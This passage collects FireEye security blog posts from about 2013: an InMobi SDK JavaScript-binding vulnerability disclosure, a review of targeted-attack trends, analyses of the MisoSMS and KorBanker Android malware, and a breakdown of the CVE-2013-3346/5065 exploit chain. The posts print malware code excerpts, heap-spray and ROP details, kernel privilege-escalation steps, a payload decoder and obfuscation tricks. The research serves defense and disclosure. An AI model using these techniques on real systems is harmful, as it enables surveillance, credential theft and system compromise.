      In addition, without requiring special Android permissions in the host app, attackers over the network, via HTTP or DNS hijacking, could also misuse the aforementioned exposed methods to misguide the user to post to the user’s social network from the device (postToSocial in version 3.7.0 and above), send email to any designated recipient with a pre-crafted title and email body (sendMail in version 3.6.2 and above), send SMS to premium numbers (sendSMS in version 3.6.2 and above), create calendar events on the device (createCalendarEvent in version 3.7.0 and above), and to take pictures and access the photo gallery on the device (takeCameraPicture and getGalleryImage in version 3.7.0 and above). To complete these actions, the user would need to click on certain consent buttons. However, as generally known, users are quite vulnerable to social engineering attacks through which attackers could trick users to give consent.

      We have identified more than 3,000 apps on Google Play that contain versions 2.5.0 to 4.0.2 of InMobi – and which have over 100,000 downloads each as of December, 2013. Currently, the total download count for these affected apps is greater than 3.7 billion.

      We have informed both Google and InMobi of our findings, and they have been actively working to address them.

      New InMobi Update after FireEye Notification

      After we notified the InMobi vendor about these security issues, they promptly released new SDK versions 4.0.3 and 4.0.4. The 4.0.3 SDK, marked as “Internal release”, was superseded by 4.0.4 after one day. The 4.0.4 SDK made the following changes:

      1. Changed its method exposed through annotation for making phone calls (makeCall) to require user’s consent.
      2. Added a new storePicture interface to download and save specified files from the Internet to the user’s Downloads folder. Despite the name, it can be used for any file, not just images.
      3. Compared with InMobi’s earlier versions, we consider change No. 1 as an improvement that addresses the aforementioned issue of an attacker making phone calls without a user’s consent. We are glad to see that InMobi made this change after our notification.

        InMobi recently released a new SDK version 4.1.0. Compared with SDK version 4.0.4, we haven't seen any changes to JS Binding usage from a security perspective in this new SDK version 4.1.0.

        Moving Forward: Improving Security for JS Binding in Third-party Libraries

        In summary, the insecure usage of JS Binding and JS Binding annotations in third-party libraries exposes many apps that contain these libraries to security risks.

        App developers and third-party library vendors often focus on new features and rich functionalities. However, this needs to be balanced with a consideration for security and privacy risks. We propose the following to the mobile application development and library vendor community:

        1. Third-party library vendors need to explicitly disclose security-sensitive features in their privacy policies and/or their app developer SDK guides.
        2. Third-party library vendors need to educate the app developers with information, knowledge, and best practices regarding security and privacy when leveraging their SDK.
        3. App developers need to use caution when leveraging third-party libraries, apply best practices on security and privacy, and in particular, avoid misusing vulnerable APIs or packages.
        4. When third-party libraries use JS Binding, we recommend using HTTPS for loading content.
        5. Since customers may have different requirements regarding security and privacy, apps with JS-Binding-Over-HTTP vulnerabilities and JS sidedoors can introduce risks to security-sensitive environments such as enterprise networks. FireEye Mobile Threat Prevention provides protection to our customers from these kinds of security threats.

          Acknowledgement

          We thank our team members Adrian Mettler and Zheng Bu for their help in writing this blog.

          Appendix A: JavaScript Code Snippets Served from InMobi Ad Servers

          a.takeCameraPicture = function () {

          utilityController.takeCameraPicture()

          };

          a.getGalleryImage = function () {

          utilityController.getGalleryImage()

          };

          a.makeCall = function (f) {

          try {

          utilityController.makeCall(f)

          } catch (d) {

          a.showAlert("makeCall: " + d)

          }

          };

          a.sendMail = function (f, d, b) {

          try {

          utilityController.sendMail(f, d, b)

          } catch (c) {

          a.showAlert("sendMail: " + c)

          }

          };

          a.sendSMS = function (f, d) {

          try {

          utilityController.sendSMS(f, d)

          } catch (b) {

          a.showAlert("sendSMS: " + b)

          }

          };

          a.postToSocial = function (a, c, b, e) {

          a = parseInt(a);

          isNaN(a) && window.mraid.broadcastEvent("error", "socialType must be an integer", "postToSocial");

          "string" != typeof c && (c = "");

          "string" != typeof b && (b = "");

          "string" != typeof e && (e = "");

          utilityController.postToSocial(a, c, b, e)

          };

          a.createCalendarEvent = function (a) {

          "object" != typeof a && window.mraid.broadcastEvent("error",

          "createCalendarEvent method expects parameter", "createCalendarEvent");

          "string" != typeof a.start || "string" != typeof a.end ?

          window.mraid.broadcastEvent("error",

          "createCalendarEvent method expects string parameters for start and end dates",

          "createCalendarEvent") :

          ("string" != typeof a.location && (a.location = ""),

          "string" != typeof a.description && (a.description = ""),

          utilityController.createCalendarEvent(a.start, a.end, a.location, a.description))

          };

          a.registerMicListener=function() {

          utilityController.registerMicListener()

          };

          Trends in Targeted Attacks: 2013

          FireEye has been busy over the last year. We have tracked malware-based espionage campaigns and published research papers on numerous advanced threat actors. We chopped through Poison Ivy, documented a cyber arms dealer, and revealed that Operation Ke3chang had targeted Ministries of Foreign Affairs in Europe.

          Worldwide, security experts made many breakthroughs in cyber defense research in 2013. I believe the two biggest stories were Mandiant’s APT1 report and the ongoing Edward Snowden revelations, including the revelation that the U.S. National Security Agency (NSA) compromised 50,000 computers around the world as part of a global espionage campaign.

          In this post, I would like to highlight some of the outstanding research from 2013.

          Trends in Targeting

          Targeted malware attack reports tend to focus on intellectual property theft within specific industry verticals. But this year, there were many attacks that appeared to be related to nation-state disputes, including diplomatic espionage and military conflicts.

          Conflict

          Where kinetic conflict and nation-state disputes arise, malware is sure to be found. Here are some of the more interesting cases documented this year:

          • Middle East: continued attacks targeting the Syrian opposition; further activity by Operation Molerats related to Israel and Palestinian territories.
          • India and Pakistan: tenuous relations in physical world equate to tenuous relations in cyberspace. Exemplifying this trend was the Indian malware group Hangover, the ByeBye attacks against Pakistan, and Pakistan-based attacks against India.
          • Korean peninsula: perhaps foreshadowing future conflict, North Korea was likely behind the Operation Troy (also known as DarkSeoul) attacks on South Korea that included defacements, distributed denial-of-service (DDoS) attacks, and malware that wiped hard disks. Another campaign, Kimsuky, may also have a North Korean connection.
          • China: this was the source of numerous attacks, including the ongoing Surtr campaign, against the Tibetan and Uygur communities, which targeted MacOS and Android.

          Diplomacy

          Malware continues to play a key role in espionage in the Internet era. Here are some examples that stood out this year:

          • The Snowden documents revealed that NSA and GCHQ deployed key logging malware during the G20 meeting in 2009.
          • In fact, G20 meetings have long been targets for foreign intelligence services, including this year’s G20 meeting in Russia.
          • The Asia-Pacific Economic Cooperation (APEC) and The Association of Southeast Asian Nations (ASEAN) are also frequent targets.
          • FireEye announced that Operation Ke3chang compromised at least five Ministries of Foreign Affairs in Europe.
          • Red October, EvilGrab, and Nettraveler (aka RedStar) targeted both diplomatic missions and commercial industries.

          Technical Trends

          Estimations of “sophistication” often dominate the coverage of targeted malware attacks. But what I find interesting is that simple changes made to existing malware are often more than enough to evade detection. Even more surprising is that technically “unsophisticated” malware is often found in the payload of “sophisticated” zero-day exploits. And this year quite a number of zero-days were used in targeted attacks.

          Exploits

          Quite a few zero-day exploits appeared in the wild this year, including eleven discovered by FireEye. These exploits included techniques to bypass ASLR and application sandboxes. The exploits that I consider the most significant are the following:

          Evasion

          The malware samples used by several advanced persistent threat (APT) actors were slightly modified this year, possibly as an evasive response to increased scrutiny, in order to avoid detection. For example, there were changes to Aumlib and Ixeshe, which are malware families associated with APT12, the group behind attacks on the New York Times. When APT1 (aka Comment Crew) returned after their activities were exposed, they also used modified malware. In addition, Terminator (aka FakeM), and Sykipot were modified.

          Threat Actors

          Attribution is a tough problem, and the term itself has multiple meanings. Some use it to refer to an ultimate benefactor, such as a nation-state. Others use the term to refer to malware authors, or command-and-control (CnC) operators. This year, I was fascinated by published research about exploit and malware dealers and targeted attack contractors (also known as cyber “hitmen”), because it further complicates the traditional “state-sponsored” analysis that we’ve become accustomed to.

          • Dealers — The malware and exploits used in targeted attacks are not always exclusively available to one threat actor. Some are supplied by commercial entities such as FinFisher, which has been reportedly used against activists around the world, and HackingTeam, which sells spyware to governments and law enforcement agencies. FireEye discovered a likely cyber arms dealer that is connected to no fewer than 11 APT campaigns – however, the relationship between the supplier and those who use the malware remains unclear. Another similar cluster, known as the Maudi Operation, was also documented this year.
          • Hitmen — Although this analysis is still highly speculative, some threat actors, such as Hidden Lynx, may be “hackers for hire”, tasked with breaking into targets and acquiring specific information. Others, such as IceFog, engage in “hit and run” attacks, including the propagation of malware in a seemingly random fashion. Another group, known as Winnti, tries to profit by targeting gaming companies with malware (PlugX) that is normally associated with APT activity. In one of the weirdest cases I have seen, malware known as “MiniDuke”, which is reminiscent of some “old school” malware developed by 29A, was used in multiple attacks around the world.

          My colleagues at FireEye have put forward some interesting stealthy techniques in the near future. In any case, 2014 will no doubt be another busy year for those of us who research targeted malware attacks.

          MisoSMS: New Android Malware Disguises Itself as a Settings App, Steals SMS Messages

          FireEye has uncovered and helped weaken one of the largest advanced mobile botnets to date. The botnet, which we are dubbing “MisoSMS,” has been used in at least 64 spyware campaigns, stealing text messages and emailing them to cybercriminals in China.

          MisoSMS infects Android systems by deploying a class of malicious Android apps. The mobile malware masquerades as an Android settings app used for administrative tasks. When executed, it secretly steals the user’s personal SMS messages and emails them to a command-and-control (CnC) infrastructure hosted in China. FireEye Mobile Threat Prevention platform detects this class of malware as “Android.Spyware.MisoSMS.”

          Here are some highlights of MisoSMS:

          • We discovered 64 mobile botnet campaigns that belong to the MisoSMS malware family.
          • Each of the campaigns leverage Web mail as its (CnC) infrastructure.
          • The CnC infrastructure comprises more than 450 unique malicious email accounts.
          • FireEye has been working with the community to take down the CnC infrastructure.
          • The majority of the devices infected are in Korea, which leads us to believe that this threat is active and prevalent in that region.
          • The attackers logged in from Korea and mainland China, among other locations, to periodically read the stolen SMS messages.

          MisoSMS is active and widespread in Korea, and we are working with Korean law enforcement and the Chinese Web mail vendor to mitigate this threat. This threat highlights the need for greater cross-country and cross-organizational efforts to take down large malicious campaigns.

          At the time of of this blog post, all of the reported malicious email accounts have been deactivated and we have not noticed any new email addresses getting registered by the attacker. FireEye Labs will closely monitor this threat and continue working with relevant authorities to mitigate it.

          Technical Analysis

          Once the app is installed, it presents itself as “Google Vx.” It asks for administrative permissions on the device, which enables the malware to hide itself from the user, as shown in Figure 2.

          miso1

          The message in Figure 3 translates to the following:

          “This service is vaccine killer \nCopyright (c) 2013 google.org”

          miso2

          Once the user grants administrator privileges to the app, the app shows the message in Figure 3, which translates to “The file is damaged and can’t use. Please check it on the website”” and an OK button. Then is asks the user to confirm deletion, ostensibly offering the option to Confirm or Cancel. If the user taps Confirm, the app sleeps for 800 milliseconds then displays a message that says “Remove Complete.” If the users taps Cancel, the app still displays the “Remove Complete” message.

          In either case, the following API call is made to hide the app from the user.

          MainActivity.this.getPackageManager().setComponentEnabledSetting

           

          MainActivity.this.getComponentName(), 2, 1);

          This application exfiltrates the SMS messages in a unique way. Some SMS-stealing malware sends the contents of users SMS messages by forwarding the messages over SMS to phone numbers under the attacker’s control. Others send the stolen SMS messages to a CnC server over TCP connections. This malicious app, by contrast, sends the stolen SMS messages to the attacker's email address over an SMTP connection. Most of the MisoSMS-based apps we discovered had no or very few vendor detections on VirusTotal.

          The app initially sends an email with the phone number of the target’s device in the message body. This is shown in the screenshot capture below.

          miso1

           

          The malicious app creates a database called “soft_data” at install time. It also creates a database table by executing the SQL query below.

          paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS ulccd(id varchar(50),sender varchar(50),date varchar(20),content varchar(500))");

          The application registers a service for the SMS_RECEIVED intent. Once it receives the intent, the app invokes a call to the com.mlc.googlevx.SinRecv.onGetMsg() method. The moment a MisoSMS-infected device receives an SMS, the method extracts the contents of that SMS and creates the key-value pairs as follows:

          ("sender", this.val$str1);              // Phone number of the sender of the SMS

          ("content", this.val$str2);             // Content of the SMS message

          ("date", this.val$str3);                // Date of the SMS

          ("id", "1");                            // Hardcoded identifier

          ("key", xdataStruct.id);                // Device ID

          ("op", "Add");                          // Operation to be performed “Add” indicates SMS to be added

          ("phone_number", xdataStruct.selfnum);  // Phone number of the infected user

          The above data is recorded and an email message is sent out with the subject line set to the phone number of the infected device. The body of the email message contains the phone number of the device that sent a message to the infected device and its contents. Figure 6 below shows a packet capture of this data as it is sent.

          miso23

          If the sending of the email fails, it logs the SMS messages in the soft_data database.

          The application also starts three services in the background once the app is installed and started: RollService, MisoService, and BaseService.

          RollService

          This service initiates a sleep call for the first five minutes of execution. Once the sleep call is complete, RollService polls the soft_data database and tries to send any SMS data that failed to send earlier. Once it sends the information successfully, RollService deletes that data from the soft_data database.

          MisoService

          Once started, MisoService spawns a thread in the background. This thread is responsible for replaying information to the CnC channel. Messages are replayed using data structures that are converted into byte streams. The components of those structures are shown below:

          Replay Structure:

           

          public final int Request_BookInfo_len = 70;
          

           

          public final int Request_Head_Len = 95;

          public final int Request_RecPhoneInfo_Len = 8;

          public Vector<RequestStruct_BookInfo> book_list = new Vector(); contains

                        public String book_name = "";

          public String book_num = "";

          public RequestStruct_Head data_head = new RequestStruct_Head(); contains

                        public String android_id = "";

                        public int book_count = 0;

          public short client_version = 1;

          public byte is_back_door = 0;

          public String os_version = "";

          public short phone_book_state = 0;

          public String phone_model = "";

          public String phone_num = "";

          public short sms_rec_phone_count = 0;

          public int sms_task_id = 0;

          public Vector<RequestStruct_RecPhoneInfo> rec_phone_list = new Vector(); contains

                        public int reccode = 0;  public int recphoneid = 0;

          Request Structure:

          public final int Replay_Head_Len = 583;

          public final int Replay_NewAddr_Len = 261;

          public final int Replay_RecPhone_len = 24;

          public ReplayStruct_Head data_head = new ReplayStruct_Head(); contains

                      public byte is_send_book = 0;

          public byte is_uninstall_backdoor = 0;

          public byte is_upbook = 0;

          public byte is_update = 0;

          public String last_client_url = "";

          public short last_client_url_len = 0;

          public short last_client_version = 1;

          public short new_addr_count = 0;

          public short reconn_deply = 300;

          public String sms_task_content = "";

          public int sms_task_id = 0;

          public short sms_task_rec_phone_count = 0;

          public Vector<ReplayStruct_NewAddrInfo> new_addr_list = new Vector(); contains

                      public short new_addr_len = 0;

          public int new_addr_port = 8080;

          public String new_addr_url = "";

          public Vector<ReplayStruct_RecPhoneInfo> rec_phone_list = new Vector(); contains
          

           

                      public int rec_phone_id = 0;

          public String rec_phone_num = "";

          Once MisoService is initiated, it checks whether the phone is connected to the Internet and the cellular network. If so, it sends a byte array formed by the request data structure shown above. It then makes a copy of data from the request structure into the replay structure and sends the byte array of the request structure via SMS.

          The phone number for this SMS is not specified in the code, so these messages are not sent for the time being. But all of this information is logged into the soft_data database, and an update to the app will send the SMS and the above-mentioned data. MisoService also uses an embedded source object called libmisoproto.so to perform socket connections to the SMTP server using Java Native Interfaces. This shared object is unique to this malware family, which is  why we named this malware Android.Spyware.MisoSMS.

          Here is an excerpt of the code for the MisoService:

           

           

          static {
          

           

                  System.loadLibrary(“MisoProto”);

          }

           

           

          
          
          

           

          static byte[] access$1(byte[] arg1) {

                  return MisoService.jndkAction(arg1);

          }

           

           

          
          
          

           

          private static native byte[] jndkAction(byte[] arg0) {

          }

           

           

          public void onCreate() {
          

           

          ...

           

          new Thread() {

          public void run() {

          MisoData.request_data.Reset();

                                  MisoData.replay_data.Reset();

                                  while(true) {

                                              if((BaseSystem.isNetworkAvailable(MisoService.this.context)) &&

           

                                              (BaseSystem.isPhoneAvailable(MisoService.this.context))) {
          

           

                                                          if(BaseSystem.android_id.equals("")) {

                                                                      BaseSystem.Init(MisoService.this.context);

                                                          }

                                

          MisoData.request_data.data_head.android_id = BaseSystem.android_id;

                                             MisoData.request_data.data_head.phone_model = BaseSystem.phone_model;

                                              MisoData.request_data.data_head.os_version = BaseSystem.os_version;

                                              MisoData.request_data.data_head.phone_num = BaseSystem.phone_num;

                                              byte[] v0 = MisoService.jndkAction(NetDataCover.RequestToBytes(MisoData.request_data ));

                                                MisoService.access$1(v0);

                                              if(v0 != null) {

                                                          MisoData.request_data.Reset();

                                                          MisoData.replay_data = NetDataCover.BytesToReplay(v0);

                                                          MisoAction.Action();

                                              }

                                  if(MisoData.replay_data.data_head.sms_task_rec_phone_count != 0) {

                                                              continue;

                                              }

                                  SystemClock.sleep(((long)(MisoData.replay_data.data_head.reconn_deply * 100 )));

                                              continue;

                                  }

          SystemClock.sleep(10000);

                          }

                      }

                   }.start();

          }

          The value for MisoData.replay_data.data_head.reconn_deply is set to 300, putting the service to sleep for 30 seconds between retries.

          BaseService

          The base service ensures that RollService and MisoService do not stop running. The BaseBootReceiver class also uses BaseService to start the other two service if the device reboots.

          BaseService.this.startService(new Intent(BaseService.this.context, RollService.class));

          BaseService.this.startService(new Intent(BaseService.this.context, MisoService.class));

          Conclusion

          MisoSMS is one of the largest mobile botnets that leverages modern botnet techniques and infrastructure. This discovery, coupled with the other discoveries from FireEye, highlights the importance of mobile security and the quickly changing threat landscape.

          CVE-2013-3346/5065 Technical Analysis

          In our last post, we warned of a new Windows local privilege escalation vulnerability being used in the wild. We noted that the Windows bug (CVE-2013-5065) was exploited in conjunction with a patched Adobe Reader bug (CVE-2013-3346) to evade the Reader sandbox. CVE-2013-3346 was exploited to execute the attacker’s code in the sandbox-restricted Reader process, where CVE-2013-5065 was exploited to execute more malicious code in the Windows kernel.

          In this post, we aim to describe the in-the-wild malware sample, from initial setup to unrestricted code execution.

          CVE-2013-3346: Adobe Reader ToolButton Use-After-Free

          CVE-2013-3346 was privately reported to ZDI by Soroush Dalili, apparently in late 2012. We could fine no public description of the vulnerability. Our conclusion that the sample from the wild is exploiting CVE-2013-3346 is based upon the following premises:

          1. The sample contains JavaScript that triggers a use-after-free condition with ToolButton objects.
          2. CVE-2013-3346 is a use-after-free condition with ToolButton objects.
          3. The Adobe Reader patch that addresses CVE-2013-3346 also stops the in-the-wild exploit.
          4. CVE-2013-3346 Exploitation: Technical Analysis

            The bug is a classic use-after-free vulnerability: Within Javascript, nesting ToolButton objects and freeing the parent from within child callbacks results in a stale reference to the freed parent. More specifically, the invalid free can be triggered as follows:

            1. Make a parent ToolButton with a callback CB
            2. Within the callback CB, make a child ToolButton with a callback CB2
            3. Within the callback CB2, free the parent ToolButton
            4. The sample from the wild exploits the bug entirely from JavaScript. The code sets up the heap, builds ROP chains, builds shellcode, and triggers the actual bug. The only component of the attack that wasn’t implemented in JavaScript is the last-stage payload (executable file).

              The exploit script first chooses some parameters based upon the major version of Reader (version 9, 10, or 11):

              • ROP Chain
              • Size of corrupted object
              • Address of pivot in heap spray
              • The address of a NOP gadget

              Next, it sprays the heap with the return-oriented programming (ROP) attack chain and shellcode, triggers the freeing, and fills the hole left by the freed object with a pivot to the ROP attack chain.

              The freed hole is filled with the following:

              000: 41414141 ;; Padding

              01c: 0c0c08e4 ;; Address of pivot in heap spray

              020: 41414141 ;; More padding

              37c: 41414141 ;; The size of the object is a version-specific parameter

              The pivot can be observed with the following windbg breakpoint:

              bp 604d7699 "!heap -p -a @esi; dd @esi-1c; .if (@eax != 0x0c0c08e4) { gc; }"

              The following code shows the object before corruption:

                  address 02668024 found in

              _HEAP @ 1270000

              HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

              02668000 0071 0000 [01] 02668008 0037c - (busy)

              02668008 01278420 00000000 00000002 02a24008

              02668018 02763548 00000360 02668008 60a917d4

              02668028 00000000 60a917a8 00000000 00000000

              02668038 60a91778 00000000 60a91768 0133ded4

              02668048 00000001 01d9eb60 00000001 02668024

              02668058 00000000 00000000 00000000 00000000

              02668068 00000000 00000000 00000000 00000000

              02668078 02f32e5c 00000002 00000004 00000000

              After corruption, the freed hole has been filled by padding and the address into the heap at object plus 0x1c as follows:

                  address 02668024 found in

              _HEAP @ 1270000

              HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

              02668000 0071 0000 [01] 02668008 0037c - (busy)

              02668008 41414141 41414141 41414141 41414141

              02668018 41414141 41414141 41414141 0c0c08e4

              02668028 41414141 41414141 41414141 41414141

              02668038 41414141 41414141 41414141 41414141

              02668048 41414141 41414141 41414141 41414141

              02668058 41414141 41414141 41414141 41414141

              02668068 41414141 41414141 41414141 41414141

              02668078 41414141 41414141 41414141 41414141

              The heap-spray address points to the address of the pivot minus 0x328. This is because of the following instruction, which calls the address plus 0x328 as follows:

              604d768d 8b06            mov     eax,dword ptr [esi]

              604d7699 ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=90e0824a

              1:009> dd @eax+0x328

              0c0c0c0c 4a82e090 4a82007d 4a850038 4a8246d5

              0c0c0c1c ffffffff 00000000 00000040 00000000

              0c0c0c2c 00001000 00000000 4a805016 4a84420c

              0c0c0c3c 4a814241 4a82007d 4a826015 4a850030

              0c0c0c4c 4a84b49d 4a826015 4a8246d5 4a814197

              0c0c0c5c 00000026 00000000 00000000 00000000

              0c0c0c6c 4a814013 4a84e036 4a82a8df 41414141

              0c0c0c7c 00000400 41414141 4a818b31 4a814197

              And the pivot is set at 4a82e090, which sets the stack pointer to the attacker’s ROP chain as follows:

              1:009> u 4a82e090

              icucnv40!icu_4_0::CharacterIterator::setToStart+0x7:

              4a82e090 50 push eax

              4a82e091 5c pop esp

              4a82e092 c3 ret

              The exploit plays out in stages.

              Stage 1: ROP

              The exploit uses ROP to circumvent data execution prevention (DEP) features. All of the gadgets, including the pivot, are from icucnv40.dll. The ROP chain is one of three chains chosen by Reader major version (9, 10, or 11). The attacker uses a heapspray to place the pivot, ROP chain, and shellcode at predictable addresses. The ROP chain:

              1. Maps RWX memory with kernel32!CreateFileMappingA and kernel32!MapViewOfFile
              2. Copies Stage 2 shellcode to RWX memory with MSVCR90!memcpy
              3. Executes the shellcode
              4. Stage 2: Shellcode

                The shellcode exploits CVE-2013-5065 to set the privilege level of the Reader process to that of system, and then decodes an executable from the PDF, writes it to the temporary directory, and executes it.

                Shellcode Technical Analysis

                First, the shellcode copies a Stage 2.1 shellcode stub to RWX memory mapped to the null page.

                0af: ntdll!NtAllocateVirtualMemory RWX memory @ null page

                180: Copy privileged shellcode to RWX memory

                183: Add current process ID to privileged shellcode

                Next, the shellcode exploits CVE-2013-5065 to execute the Stage 2.1 shellcode in the context of the Windows kernel as follows:

                19b: Trigger CVE-2013-5065 to execute stage 2.1 from kernel

                - :

                1ff:

                 

                303: Stage 2.1 shellcode begins

                3d6: PsLookupProcessByProcessId to get EPROCESS structure for Reader process

                3e5: PsLookupProcessByProcessId to get EPROCESS structure for system

                3f9: Copy EPROCESS.Token from system to Reader

                3fd: Zero the EPROCESS.Job field

                This process is documented well in a paper (PDF download) from security researcher Ronnie Johndas.

                After returning from the kernel, the shellcode iterates over potential handle values, looking for the encoded PE file embedded within the PDF as follows:.

                ...: Find open handle to the PDF file by iterating over potential

                ...: handle values (0, 4, 8, ...) and testing that:

                212: The handle is open and to a file with kernel32!SetFilePointer

                21e: The file size is less than 0x1000 bytes with kernel32!GetFileSize

                239: It begins with "%PDF" with kernel32!ReadFile

                257: Allocate memory with kernel32!VirtualAlloc and

                262: Read the PDF into memory with kernel32!ReadFile

                26f: Find the encoded PE file by searching for 0xa0909f2 with kernel32!ReadFile

                The shellcode decodes the PE file using the following algorithm and writes it to disk:

                def to_u8(i):

                if i >= 0: return i

                return 0xff + i + 1

                buf = buf[4:] # Skip the first four bytes

                for i in xrange(len(buf)):

                c = ord(buf[i])

                c -= ((i)**2)&0xff # Subtract index^2 from character

                c = to_u8(c) # convert python number to uint8

                c ^= 0xf3 # xor character with 0xf3

                o.write(chr(c))

                 

                28f: Decode the PE file (algorithm supplied below)

                2ad: Get the path to the temporary directory with kernel32!GetTempPathA

                2bb: Request a temporary file with kernel32!GetTempFileNameA

                2dd: Open the temporary file with kernel32!CreateFileA

                2f0: Write decoded PE to temporary file with kernel32!WriteFile

                2f4: Close the file

                The shellcode executes the decoded PE file as follows:

                2fe:	kernel32!WinExec "cmd /c "

                 

                JavaScript Obfuscation & Evasions

                JavaScript analysis engines often emulate suspect code to de-obfuscate it for further analysis. If the JavaScript emulation environment doesn’t match the real environment (that is, JavaScript in Adobe Reader during exploitation), then the attacker can detect a discrepancy and abort the exploitation to prevent detection. The exploit implementation begins with the following instruction, what appears to be emulation-evasion code that causes the script to crash within emulation systems such as jsunpack:

                if(app.media.getPlayers().length >= 1)

                Q=~[];

                The attacker used a public tool (http://utf-8.jp/public/jjencode.html with "global variable name" = "Q") to obfuscate the exploit. It works by building a dictionary that maps wonky names to hex digits as follows:

                // Q={___:"0", $$$$:"f", __$:"1", $_$_:"a", _$_:"2", $_$$:"b", $$_$:"d", _$$:"3", $$$_:"e", $__:"4", $_$:"5", $$__:"c", $$_:"6", $$$:"7", $___:"8", $__$:"9" };

                Q={___:++Q,$$$$:(![]+"")[Q],__$:++Q,$_$_:(![]+"")[Q],_$_:++Q,$_$$:({}+"")[Q],$$_$:(Q[Q]+"")[Q],_$$:++Q,$$$_:(!""+"")[Q],$__:++Q,$_$:++Q,$$__:({}+"")[Q],$$_:++Q,$$$:++Q,$___:++Q,\

                $__$:++Q};

                Then, using the dictionary and other built-in strings, it builds more JavaScript code as follows:

                // Q.$_ = "constructor"

                Q.$_= /*c*/(Q.$_=Q+"")[Q.$_$]+ // Q.$_ = the string "[object Object]"

                /*o*/(Q._$=Q.$_[Q.__$])+ // by indexing into Q.$_

                /*n*/(Q.$$=(Q.$+"")[Q.__$])+ // by indexing into the string "undefined"

                /*s*/((!Q)+"")[Q._$$]+ // and so on...

                /*t*/(Q.__=Q.$_[Q.$$_])+

                /*r*/(Q.$=(!""+"")[Q.__$])+

                /*u*/(Q._=(!""+"")[Q._$_])+

                /*c*/Q.$_[Q.$_$]+

                /*t*/Q.__+

                /*o*/Q._$+

                /*r*/Q.$;

                It goes on to acquire a reference to the Function object by accessing "".constructor.constructor and calling the exploit code by Function("the deobfuscated script")(). The end result is an entirely indigestible script. Yuck!

                The "".constructor.constructor trick is clever. While shortening the obfuscated script, it gets around Function hooks implemented within the JavaScript environment (that is, by “Function = _Function_hook;”).

                Sandbox Bypass

                Although the Adobe Reader sandbox for Windows XP has fewer restrictions compared to sandboxes in Windows 7, 8, and 8.1, it still has restricted tokens, limited Job settings, broker processes, and protection policies.

                The difference is that the Windows integrity mechanism is not available in Windows XP. So the sandboxed process does not run in low-integrity mode.

                But it still must bypass the sandbox protection on Windows XP to run privileged malicious code. As the following screenshot shows, the sandboxed process is not allowed to create a file in the currently logged in user’s desktop:

                sec1

                Figure 1: Sandboxing protection in Windows XP

                In this case, the attacker exploits the NDProxy.sys vulnerability to obtain a higher privilege and bypass the Adobe sandbox protections.

                Mitigations

                For this kernel exploit (CVE-2013-5065), the attacker uses Windows’ NtAllocateVirtualMemory() routine to map shellcode to the null page. So enabling null-page protection in Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) prevents exploitation. You can also follow the workaround posted on Microsoft’s TechNet blog or upgrade to a newer version of Windows (Vista, 7, 8, or 8.1).

                Finally, updating Adobe Reader stops the in-the-wild malware sample by patching the CVE-2013-3346 vulnerability.

                Summary

                The CVE-2013-3346/5065 vulnerability works as follows:

                1. The ROP chain and shellcode are sprayed to memory from JavaScript
                2. CVE-2013-3346 UAF is triggered from JavaScript
                3. The freed ToolButton object is overwritten with the address of the pivot in JavaScript
                4. The pivot is executed, and the stack pointer is set to the ROP sled
                5. The ROP allocates shellcode in RWX memory and jumps to it
                6. The shellcode stub (Stage 2.1) is copied to the null page (RWX)
                7. The shellcode triggers CVE_2013-5065 to call Stage 2.1 from the kernel
                8. Stage 2.1 elevates privilege of the Adobe Reader process
                9. Back to usermode, the PE payload is decoded from the PDF stream to a temp directory
                10. The PE payload executes
                11. MS Windows Local Privilege Escalation Zero-Day in The Wild

                  FireEye Labs has identified a new Windows local privilege escalation vulnerability in the wild. The vulnerability cannot be used for remote code execution but could allow a standard user account to execute code in the kernel. Currently, the exploit appears to only work in Windows XP.

                  This local privilege escalation vulnerability is used in-the-wild in conjunction with an Adobe Reader exploit that appears to target a patched vulnerability. The exploit targets Adobe Reader 9.5.4, 10.1.6, 11.0.02 and prior on Windows XP SP3. Those running the latest versions of Adobe Reader should not be affected by this exploit.

                  Post exploitation, the shellcode decodes a PE payload from the PDF, drops it in the temporary directory, and executes it.

                  Mitigations

                  The following actions will protect users from the in-the-wild PDF exploit:

                  1) Upgrade to the latest Adobe Reader

                  2) Upgrade to Microsoft Windows 7 or higher

                  This post was intended to serve as a warning to the generic public. We are collaborating with the Microsoft Security team on research activities. Microsoft assigned CVE-2013-5065 to this issue.

                  We will continue to update this blog as new information about this threat is found.

                  [Update]: Microsoft released security advisory 2914486 on this issue.

                  Dissecting Android KorBanker

                  FireEye recently identified a malicious mobile application that installs a fake banking application capable of stealing user credentials. The top-level app acts as a bogus Google Play application, falsely assuring the user that it is benign.

                  FireEye Mobile Threat Prevention platform detects this application as Android.KorBanker. This blog post details both the top-level installer as well as the fake banking application embedded inside the top-level app.

                  The app targets the following banks, all of which are based in Korea.

                  • Hana Bank
                  • IBK One
                  • KB Kookmin Bank
                  • NH Bank
                  • Woori Bank
                  • Shinhan Bank

                  Once installed, the top-level application presents itself as a Google Play application. It also asks the user for permission to activate itself as a device administrator, which gives KorBanker ultimate control over the device and helps the app stay hidden from the app menu.

                   

                  The user sees the messages in Figure 1 and Figure 2.

                  korbanker_1

                  The message in Figure 2 translates to: “Notification installation file is corrupt error has occurred. Sure you want to delete the corrupted files?”

                  When the user clicks taps the “Yes’ button, KorBanker hides itself from the user by calling the following Android API:

                  getPackageManager().setComponentEnabledSetting(new ComponentName("com.pro.www", "com.pro.www.MainActivity"), 2, 1)

                  The arguments “2” and “1” which are being passed to the above function are explained below.

                  The 2 argument represents is the value for the COMPONENT_ENABLED_STATE_DISABLED flag, which causes the component to be disabled from the menu of apps.

                  The 1 argument is the value for the DONT_KILL_APP flag, which indicates that the app should not be killed and continue running in the background.

                  After installation, the app checks whether any of the six targeted banking applications have been installed. If it finds any, it deletes the legitimate banking application and silently replaces it with a fake version. The fake versions of the banking applications are embedded in the “assets” directory of the top-level APK.

                  Initial registration protocol

                  The top-level APK and the embedded fake banking app register themselves with their respective command-and-control (CnC) servers. The following section explains the registration process.

                  Top-level app

                  The top-level app registers itself by sending the device ID of the phone to the remote CnC server packed in a JavaScript Object Notation (JSON) object. The data packet excerpt is shown in Figure 3. This is the first packet that is sent out once the app is installed on the device.

                  korbanker3

                  Figure 3: KorBanker data packet during registration

                  The packet capture shown in Figure 3 shows the structure of the registration message. The bytes highlighted in red indicate the CnC message code of 0x07(decimal 7) which translates to the string addUserReq.

